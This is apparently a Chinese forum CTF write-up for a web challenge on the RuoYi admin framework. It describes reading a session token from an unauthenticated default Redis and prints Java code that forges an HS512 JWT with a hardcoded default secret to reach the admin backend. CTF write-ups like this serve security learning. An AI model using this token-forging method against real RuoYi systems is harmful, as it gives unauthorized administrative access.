首页
社区
课程
招聘
[原创]第三题
2021-5-13 11:49 4858

[原创]第三题

2021-5-13 11:49
4858

题目本身还行,就是体验太差了,以后WEB题做不到一人一环境就不要搞了。
首先看到若依,然后一番搜索,看见一些权限Issue提到了swagger-ui,从里面拿到版本号
image-20210512135622028
然后下源码,分析鉴权
图片描述
定位TokenService,发现会把登录缓存到Redis里
图片描述
看到Redis的默认配置
图片描述
没有密码,尝试连接,拿到login_token,此时数据库反正已经被其他选手污染了,但还能用
图片描述
然后伪造Bearer,他这个算法和jwt.io的不一样,因此自己找0.9.2的Jwt实现了一个
图片描述

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import io.jsonwebtoken.Claims;
import io.jsonwebtoken.Jwts;
import io.jsonwebtoken.SignatureAlgorithm;
 
import java.util.HashMap;
import java.util.Map;
 
public class Main {
 
    private static final String secret = "abcdefghijklmnopqrstuvwxyz";
 
    public static void main(String[] args) {
 
        Map<String, Object> claims = new HashMap<>();
        claims.put("login_user_key", "fa9c2eed-3d64-46df-8896-1852f0e52b1f");
        String token = createToken(claims);
        Claims c = parseToken(token);
        String key = (String) c.get("login_user_key");
        System.out.println(token);
    }
 
    private static String createToken(Map<String, Object> claims)
    {
        String token = Jwts.builder()
                .setClaims(claims)
                .signWith(SignatureAlgorithm.HS512, secret)
                .compact();
        return token;
    }
 
    private static Claims parseToken(String token)
    {
        return Jwts.parser()
                .setSigningKey(secret)
                .parseClaimsJws(token)
                .getBody();
    }
}

最后用Chrome插件设置token,登录后台,拿到flag
图片描述


[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法

收藏
免费 1
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回